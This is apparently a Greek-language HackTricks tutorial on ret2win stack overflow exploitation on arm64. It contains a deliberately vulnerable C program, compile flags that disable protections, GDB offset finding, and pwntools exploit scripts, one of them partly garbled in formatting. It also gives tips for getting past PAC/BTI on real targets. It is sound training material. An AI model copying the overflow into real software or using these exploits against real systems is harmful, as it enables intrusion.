9.9 KiB
Ret2win - arm64
{{#include ../../../banners/hacktricks-training.md}}
Βρείτε μια εισαγωγή στο arm64 στο:
{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}
Κώδικας
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Μεταγλωττίστε χωρίς pie και canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- The extra flag
-mbranch-protection=none
disables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can: - Αναζητήστε AArch64 GNU properties:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Επιθεωρήστε prologues/epilogues για
paciasp
/autiasp
(PAC) ή γιαbti c
landing pads (BTI): objdump -d ret2win | head -n 40
Σύντομα στοιχεία για το AArch64 calling convention
- Ο link register είναι
x30
(a.k.a.lr
), και οι συναρτήσεις συνήθως αποθηκεύουνx29
/x30
μεstp x29, x30, [sp, #-16]!
και τα επαναφέρουν μεldp x29, x30, [sp], #16; ret
. - Αυτό σημαίνει ότι η αποθηκευμένη διεύθυνση επιστροφής βρίσκεται στο
sp+8
σε σχέση με τη βάση του frame. Με έναchar buffer[64]
τοποθετημένο πιο κάτω, η συνήθης απόσταση υπερχείλισης προς το αποθηκευμένοx30
είναι 64 (buffer) + 8 (saved x29) = 72 bytes — ακριβώς αυτό που θα βρούμε παρακάτω. - Ο stack pointer πρέπει να παραμένει 16‑byte aligned στα όρια συναρτήσεων. Αν φτιάξετε ROP chains αργότερα για πιο σύνθετα σενάρια, διατηρήστε την ευθυγράμμιση του SP ή μπορεί να καταρρεύσετε σε function epilogues.
Εύρεση του offset
Επιλογή pattern
This example was created using GEF:
Ξεκινήστε gdb με gef, δημιουργήστε pattern και χρησιμοποιήστε το:
gdb -q ./ret2win
pattern create 200
run

arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε τη μετατόπιση του pattern:
pattern search $x30

Το offset είναι 72 (9x48).
Επιλογή Stack offset
Ξεκινήστε βρίσκοντας τη διεύθυνση του stack όπου αποθηκεύεται ο pc register:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Τώρα ρυθμίστε ένα breakpoint μετά το read()
και συνεχίστε μέχρι να εκτελεστεί το read()
και ορίστε ένα pattern όπως 13371337:
b *vulnerable_function+28
c

Βρείτε πού αποθηκεύεται αυτό το πρότυπο στη μνήμη:

Στη συνέχεια: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE
Κανονικό
Βρείτε τη διεύθυνση της συνάρτησης win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()

Off-by-1
Στην πραγματικότητα αυτό θα είναι περισσότερο σαν ένα off-by-2 στο αποθηκευμένο PC στο stack. Αντί να υπεργράψουμε ολόκληρο το return address, θα υπεργράψουμε μόνο τα τελευταία 2 bytes με 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()

Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, το οποίο είναι ένα πραγματικό off-by-one σε μια φανταστική ευπάθεια.
With PIE
Tip
Μεταγλωττίστε το binary χωρίς το
-no-pie
argument
Off-by-2
Χωρίς leak δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης win, αλλά μπορούμε να γνωρίζουμε το offset της συνάρτησης μέσα στο binary και, δεδομένου ότι η διεύθυνση επιστροφής που υπεργράφουμε ήδη δείχνει σε μια κοντινή διεύθυνση, είναι δυνατό να leak-άρουμε το offset προς τη συνάρτηση win (0x7d4) σε αυτή την περίπτωση και απλώς να χρησιμοποιήσουμε αυτό το offset:

Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
### Σημειώσεις για τη σύγχρονη ενίσχυση AArch64 (PAC/BTI) και ret2win
- Αν το binary έχει compiled με AArch64 Branch Protection, μπορεί να δείτε `paciasp`/`autiasp` ή `bti c` να εκπέμπονται σε function prologues/epilogues. Σε αυτή την περίπτωση:
- Επιστροφή σε μια διεύθυνση που δεν είναι έγκυρο BTI landing pad μπορεί να προκαλέσει `SIGILL`. Προτιμήστε στόχευση στην ακριβή function entry που περιέχει `bti c`.
- Αν το PAC είναι ενεργοποιημένο για returns, οι απλές return‑address overwrites μπορεί να αποτύχουν επειδή το epilogue αυθεντικοποιεί το `x30`. Για εκπαιδευτικά σενάρια, rebuild με `-mbranch-protection=none` (όπως φαίνεται παραπάνω). Όταν επιτίθεστε σε πραγματικούς στόχους, προτιμήστε non‑return hijacks (π.χ. function pointer overwrites) ή φτιάξτε ROP που ποτέ δεν εκτελεί το ζευγάρι `autiasp`/`ret` που αυθεντικοποιεί το πλαστό σας LR.
- Για γρήγορο έλεγχο των χαρακτηριστικών:
- `readelf --notes -W ./ret2win` και ελέγξτε για τις σημειώσεις `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
- `objdump -d ./ret2win | head -n 40` και ψάξτε για `bti c`, `paciasp`, `autiasp`.
### Εκτέλεση σε μη‑ARM64 hosts (qemu‑user quick tip)
Αν είστε σε x86_64 αλλά θέλετε να εξασκηθείτε σε AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Σχετικές σελίδες HackTricks
{{#ref}} ../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md {{#endref}}
{{#ref}} ../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md {{#endref}}
Αναφορές
- Ενεργοποίηση PAC και BTI σε AArch64 για Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Πρότυπο κλήσης διαδικασίας για την αρχιτεκτονική Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst {{#include ../../../banners/hacktricks-training.md}}